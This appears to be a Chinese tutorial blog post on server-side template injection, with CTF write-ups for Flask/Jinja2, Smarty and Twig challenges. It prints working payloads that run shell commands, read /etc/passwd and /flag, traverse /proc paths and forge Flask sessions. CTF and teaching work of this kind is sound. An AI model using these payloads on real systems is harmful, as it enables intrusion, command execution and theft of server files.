SSTI模板注入+CTF实例
参考文章:
一文了解SSTI和所有常见payload 以flask模板为例-腾讯云开发者社区-腾讯云 (tencent.com)
python-flask模块注入(SSTI) - ctrl_TT豆 - 博客园 (cnblogs.com)
ssti详解与例题以及绕过payload大全_ssti绕过空格-CSDN博客
1. SSTI(模板注入)漏洞(入门篇) - bmjoker - 博客园 (cnblogs.com)
SSTI服务端模板注入漏洞原理详解及利用姿势集锦 - 2ha0yuk7on - 博客园 (cnblogs.com)
基础概念理解(以flask模板为例)
- 模板引擎用于使用动态数据呈现内容。模板包括Ruby,Java,Twig,Smarty,AngularJS,Tornado,Flask/jinja2,Django,thymeleaf等。
- 就像SQL注入一样,攻击者通过在注入点构造恶意的sql语句去读取数据库数据。攻击者在进行SSTI攻击时,构造恶意的模板代码去干预模板渲染的过程,也会造成敏感信息泄露等问题
payload基础
sql注入中会有information.schema这样的重要库去爆出敏感信息,模板注入借助的是各个类之间的继承关系和一些重要的魔术方法,而object类是所有类的父类。
# 基本payload
().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()## [].__class__:根据前面的变量形式可以得到其所属的类<class 'list'>
__class__:返回一个实例所属的类## __bases__[0]:获取object父类
__base__:返回该对象所继承的基类
__mro__:和__bases__一样,返回所有的父类## __subclasses__()[40]:获取所有子类,在所有子类中获取可以利用的类
__subclasses__:以列表返回类的子类## [40]('/etc/passwd').read():在类中获取可以利用的方法,执行命令
这里利用的是file类的read方法
绕过姿势
SSTI漏洞利用及绕过总结(绕过姿势多样)_java ssti漏洞-CSDN博客
CTF实例
BUUCTF-NewStarCTF2023-week3-GenShin(jinja2)
1.一开始用dirsearch去扫描目录,发现有/robots.txt和/console文件,以为有用,但是这道题考察的是ssiti注入。





2.看wp才知道,在根目录下有敏感目录/secr3tofpop,访问后需要输入name参数,这里有注入点。先用{{7*7}}尝试,发现被过滤。


3.最终payload:
?name={%print([].__class__.__base__.__subclasses__()[132].__enter__.__globals__["pop"+"en"]("cat%20/flag").read())%}
__subclasses__()[132]是os._wrap_close类,在第132个。这个类有popen方法,需要先使用__enter__方法再调用__globals__可以获取方法内以字典的形式返回的方法、属性等值。

BUUCTF-N1BOOK-第一章web入门 afr_3(flask session伪造)
1.页面一直进入到article,尝试输入?name=flag,显示no permission,应该是要更改cookie的session值。当输入index.php时,显示了index.php的路径:/home/nu11111111l/articles/index.php


2. 尝试使用../等来进行任意文件读取。
payload1:
?name=../../../proc/self/cmdline
Linux系统上的/proc目录是一种文件系统,即proc文件系统,存储的是当前内核运行状态的一系列特殊文件,用户可以通过这些文件查看有关系统硬件及当前运行进程的信息,甚至可以通过更改其中这些文件来改变内核运行状态。
/proc/self 表示当前进程目录
/proc/self/cmdline 获取启动当前进程的完整命令。

3.得到运行命令:python server.py,再通过以下命令查看源码
payload2:
?name=../../../../proc/self/cwd/server.py
cwd文件是一个指向当前进程运行目录的符号链接。可以通过查看cwd文件获取目标指定进程环境的运行目录。


4.分析源码,发现运行了两个文件:flag.py, key.py。访问flag.py还是显示no permission,访问key.py,得到密钥。

5.在n1page方法里用到了render_template_string()方法,并且也用到了格式化字符串,可以判断这里存在模板注入。
在/n1page页面对post输入n1code进行了过滤,没有办法通过传入n1code的值来实现注入,但是可以直接更改session的值来操控输出,这里session被app.secret_key进行了加密。
ssti payload:
{'n1code': '{{\'\'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[\'os\'].popen(\'cat flag.py\').read()}}'}
6.在这里要用kali下载flask-session-cookie-manager,执行命令:


BUUCTF-[CISCN2019 华东南赛区]Web11(smarty)
1.打开靶场,发现页面下方先是Build With Smarty !,说明模板引擎为smarty。

2.尝试修改XFF,用{$smarty.version}确认是否有漏洞,可以看到smarty的版本号。

3.因为smarty3已经弃用了{php}{/php}标签,所以这里用不了。
如果可以利用{php}{/php}标签,可以使用{php}{/php}标签来执行被包裹其中的php指令。
例如:{php}phpinfo();{/php}
4.对于php5的环境可以用以下payload,但是这道题是php7,所以这种方法也不行
x-forwarded-for: <script language="php">system('cat /flag')</script>

5.还可以用静态方法,但是在这里也不行。

6. 最终用的是if标签,在标签里面放置php命令
payload1:
x-forwarded-for: {if system('cat /flag')}{/if}
或者直接用{system('cat /flag')}也可以得到flag

BUUCTF-[BJDCTF2020]Cookie is so stable(Twig)
1.根据题目,用bp抓包,可以发现在/flag.php随便输入123时,可以抓到两个请求包,第2个请求包会在cookie里添加user参数,应该存在注入点。判断模板引擎,先输入{{7*7}},回显49,再输入{{7*'7'}},还是回显49,为Twig模板。

2.用以下payload判断Twig模板的版本。
Twig1.x的模板注入就是利用_self.env中的方法进行注入,_self会返回当前模板的实例,env会指向Twig_Environment,所以就是利用Twig_Environment中的其他方法。
因为在Twig 2.x及Twig 3.x,_self的作用发生了变化,只能返回当前实例名字符串,所以以下payload只能适用于Twig 1.x。
payload1:
Cookie:user={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

3. 最后用以下payload得到flag。
payload:
Cookie: user={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

相关文章:
SSTI模板注入+CTF实例
参考文章: 一文了解SSTI和所有常见payload 以flask模板为例-腾讯云开发者社区-腾讯云 (tencent.com) python-flask模块注入(SSTI) - ctrl_TT豆 - 博客园 (cnblogs.com) ssti详解与例题以及绕过payload大全_ssti绕过空格-CSDN博客 1. SSTI(模板注入&…...
iPhone 16 Pro 拆解揭秘:设计改进与维修便利性
苹果最新推出的iPhone 16系列在许多方面都进行了更新和改进,而这次我们要聚焦的是其中的高端型号——iPhone 16 Pro。 这款手机不仅在性能上有所提升,在内部构造上也带来了不少变化,让我们一起来看看这些细节吧。 更容易进入的内部结构 对于…...
Java项目实战II养老||基于Java+Spring Boot+MySQL的社区智慧养老监护管理平台设计与实现(源码+数据库+文档)
目录 一、前言 二、技术介绍 三、系统实现 四、文档参考 五、核心代码 六、源码获取 全栈码农以及毕业设计实战开发,CSDN平台Java领域新星创作者,专注于大学生项目实战开发、讲解和毕业答疑辅导。获取源码联系方式请查看文末 一、前言 随着老龄化…...
利用FnOS搭建虚拟云桌面,并搭建前端开发环境(二)
利用FnOS搭建虚拟云桌面,并搭建前端开发环境 二 一、docker镜像二、环境配置三、核心环境配置流程文档 利用FnOS搭建虚拟云桌面,并搭建前端开发环境(一) 上一章安装了飞牛FnOS系统,界面如下,这一张配置前端…...
【Python】Qwen-VL-7B box
VLLM-Qwen2-VL-7B-Instruct import cv2# 读取图像 image_path haibaoA.png # 替换为图像的路径 image cv2.imread(image_path)# 定义框的坐标 (x1, y1) 是左上角,(x2, y2) 是右下角 x1, y1 200, 550 # 左上角坐标 x2, y2 799, 750 # 右下角坐标 h, w image.…...
echarts按需引入解决项目大小问题
背景: 按需加载缩减项目大小,提升项目性能和可用性 实现: 创建echarts.js main.js进行配置 页面中引用 效果 全量导入 按需加载:...
天气预报echarts
如上图,可以切换温度,降水量,风力风向和空气质量 <template><el-radio-group v-model"selectedData" change"updateChart"><el-radio-button label"temperature">温度</el-radio-butto…...
Kafka-初识
一、Kafka是什么? Kafka是一个高度可扩展、弹性、容错和安全的分布式流处理平台,由服务器和客户端组成,通过高性能TCP网络协议进行通信。它可以像消息队列一样生产和消费数据。可以部署在裸机硬件、虚拟机和容器上,也可以部署在本…...
Redis的主要的特性和优势 ?
Redis 的主要特性 内存存储:Redis 将数据存储在内存中,这使得读写操作非常快速。它还支持将数据持久化到磁盘,以防止数据丢失。 丰富的数据结构:Redis 不仅支持简单的字符串键值对,还支持更复杂的数据结构,…...
yolov5-7.0模型DNN加载函数及参数详解(重要)
yolov5-7.0模型DNN加载函数及参数详解(重要) 引言yolov5(v7.0)1,yolov5.h(加载对应模型里面的相关参数要更改)2,main主程序(1)加载网络(2)检测推理࿰…...
StringEntity 用于将字符串内容作为 HTTP 请求实体(请求体)
StringEntity 类是 Apache HttpClient 库中的一个类,它用于将字符串内容作为 HTTP 请求实体(请求体)。这个类非常适合用于发送 JSON、XML 或其他需要以字符串形式发送的数据。以下是 StringEntity 类的一些常用方法和代码案例: …...
校园系统校园小程序 论坛校园圈系统失物招领、闲置二手、跑腿外卖等校园圈子系统应该具备有哪些功能
针对校园系统、校园小程序、论坛校园圈系统以及失物招领、闲置二手、跑腿外卖等具体功能,一个综合性的校园圈子系统应该具备以下主要功能: 前后端源码查看 一、基础功能 用户注册与登录 提供用户注册和登录功能,支持学生身份验证、手机号验…...
[AWS云]kafka调用和创建
背景:因为因为公司的项目需要使用AWS的kafka,但是在创建和使用过程中都遇到了一些报错和麻烦,毕竟老外的东西,和阿里云、华为使用起来还是不一样。 一、创建(创建的配置过程就略了,就是配置一下可用区、型号࿰…...
查看 Excel 应用程序中已打开的 Excel 文件的完整路径
要查看 Excel 应用程序中已打开的 Excel 文件的完整路径(全路径),你可以通过以下几种方法获取具体路径,尤其是在 VSTO 应用程序中。 方法1:使用 VSTO Excel 外接程序代码 在 VSTO 外接程序代码中,您可以直接…...
学习 RocketMQ 单机部署、消息发送、消息接收
文章目录 RocketMQ 介绍为什么要使用 MQ ?RocketMQ 与其他产品对比vs Kafkavs RabbitMQvs ActiveMQ RocketMQ 重要概念部署 Namesrver、Broker、Dashboard快速入门消息生产者消息消费者 消费模式简单消息1)同步发送2)异步发送3)单…...
【计算机网络】CDN
CDN(Content Delivery Network,内容分发网络)是一种分布式的服务器网络,旨在通过将内容缓存到多个地理位置的服务器上,加速内容的分发和传递。CDN 的主要目的是减少用户访问网站时的延迟,提升用户体验&…...
数据结构:插入排序
1.插入排序 此排序如打扑克牌一样;每次抓牌,把扑克从前向后扒拉;找到合适的位置插入进去—所以叫插入排序; 时间复杂度:O(N^2) int arr[10] { 9,8,7,6,5,4,3,2,1,0 };//数据太多就不好写了 …...
Nginx反向代理配置与负载均衡配置
简介:整理自黑马程序员苍穹外卖的第11节 nginx是什么? nginx的好处 nginx反向代理配置方式 nginx负载均衡的配置方式 nginx负责均衡策略...
axios 前端与 Django 后端的 POST 交互
背景 自己在写一些油猴脚本,前端需要用 JS,后端是自己的服务,是用 Python 的 Django 框架完成的。 油猴脚本中需要通过 POST 方法,向后端传一些数据,所以前端我用的是 axios 库,后端需要用 Django 处理 P…...
数据结构常用术语
一. 常见术语 数据相关 英文术语中文术语Data数据Data element数据元素Data item数据项Data structure数据结构Logical structure逻辑结构Data type数据类型 指针与存储 英文术语中文术语Pointer指针Sequential storage structure顺序存储结构Linked storage structure链状…...
【kafka】Golang实现分布式Masscan任务调度系统
要求: 输出两个程序,一个命令行程序(命令行参数用flag)和一个服务端程序。 命令行程序支持通过命令行参数配置下发IP或IP段、端口、扫描带宽,然后将消息推送到kafka里面。 服务端程序: 从kafka消费者接收…...
docker详细操作--未完待续
docker介绍 docker官网: Docker:加速容器应用程序开发 harbor官网:Harbor - Harbor 中文 使用docker加速器: Docker镜像极速下载服务 - 毫秒镜像 是什么 Docker 是一种开源的容器化平台,用于将应用程序及其依赖项(如库、运行时环…...
如何在看板中体现优先级变化
在看板中有效体现优先级变化的关键措施包括:采用颜色或标签标识优先级、设置任务排序规则、使用独立的优先级列或泳道、结合自动化规则同步优先级变化、建立定期的优先级审查流程。其中,设置任务排序规则尤其重要,因为它让看板视觉上直观地体…...
深入理解JavaScript设计模式之单例模式
目录 什么是单例模式为什么需要单例模式常见应用场景包括 单例模式实现透明单例模式实现不透明单例模式用代理实现单例模式javaScript中的单例模式使用命名空间使用闭包封装私有变量 惰性单例通用的惰性单例 结语 什么是单例模式 单例模式(Singleton Pattern&#…...
Java 加密常用的各种算法及其选择
在数字化时代,数据安全至关重要,Java 作为广泛应用的编程语言,提供了丰富的加密算法来保障数据的保密性、完整性和真实性。了解这些常用加密算法及其适用场景,有助于开发者在不同的业务需求中做出正确的选择。 一、对称加密算法…...
【RockeMQ】第2节|RocketMQ快速实战以及核⼼概念详解(二)
升级Dledger高可用集群 一、主从架构的不足与Dledger的定位 主从架构缺陷 数据备份依赖Slave节点,但无自动故障转移能力,Master宕机后需人工切换,期间消息可能无法读取。Slave仅存储数据,无法主动升级为Master响应请求ÿ…...
听写流程自动化实践,轻量级教育辅助
随着智能教育工具的发展,越来越多的传统学习方式正在被数字化、自动化所优化。听写作为语文、英语等学科中重要的基础训练形式,也迎来了更高效的解决方案。 这是一款轻量但功能强大的听写辅助工具。它是基于本地词库与可选在线语音引擎构建,…...
AI病理诊断七剑下天山,医疗未来触手可及
一、病理诊断困局:刀尖上的医学艺术 1.1 金标准背后的隐痛 病理诊断被誉为"诊断的诊断",医生需通过显微镜观察组织切片,在细胞迷宫中捕捉癌变信号。某省病理质控报告显示,基层医院误诊率达12%-15%,专家会诊…...
【Redis】笔记|第8节|大厂高并发缓存架构实战与优化
缓存架构 代码结构 代码详情 功能点: 多级缓存,先查本地缓存,再查Redis,最后才查数据库热点数据重建逻辑使用分布式锁,二次查询更新缓存采用读写锁提升性能采用Redis的发布订阅机制通知所有实例更新本地缓存适用读多…...
【C++特殊工具与技术】优化内存分配(一):C++中的内存分配
目录 一、C 内存的基本概念 1.1 内存的物理与逻辑结构 1.2 C 程序的内存区域划分 二、栈内存分配 2.1 栈内存的特点 2.2 栈内存分配示例 三、堆内存分配 3.1 new和delete操作符 4.2 内存泄漏与悬空指针问题 4.3 new和delete的重载 四、智能指针…...
